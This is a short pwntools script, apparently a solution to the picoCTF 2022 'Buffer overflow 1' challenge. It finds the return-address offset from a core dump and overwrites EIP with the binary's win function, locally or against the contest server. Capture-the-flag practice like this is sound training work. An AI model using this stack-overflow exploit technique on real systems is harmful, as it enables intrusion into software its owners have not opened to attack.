Automated solve for the pwn/binary challenge "Buffer overflow 1" from the picoCTF 2022 competition.

buffer-overflow-1-automated.py

from pwn import *

elf = context.binary = ELF('./vuln')    # sets context + elf object
host, port = 'saturn.picoctf.net', [PORT]

p = process(elf.path)           # references elf object
p.sendline(cyclic(128))         # sends cyclic pattern to crash
p.wait()                        # sigsegv generates core dump
core = Coredump('./core')       # parse core dump file

payload = flat({
    cyclic_find(core.eip): elf.symbols.win      # offset:address
})

if args.REMOTE:         # remote process if arg
    p = remote(host, port)
else:
    p = process(elf.path)

p.sendline(payload)
p.interactive()         # receives flag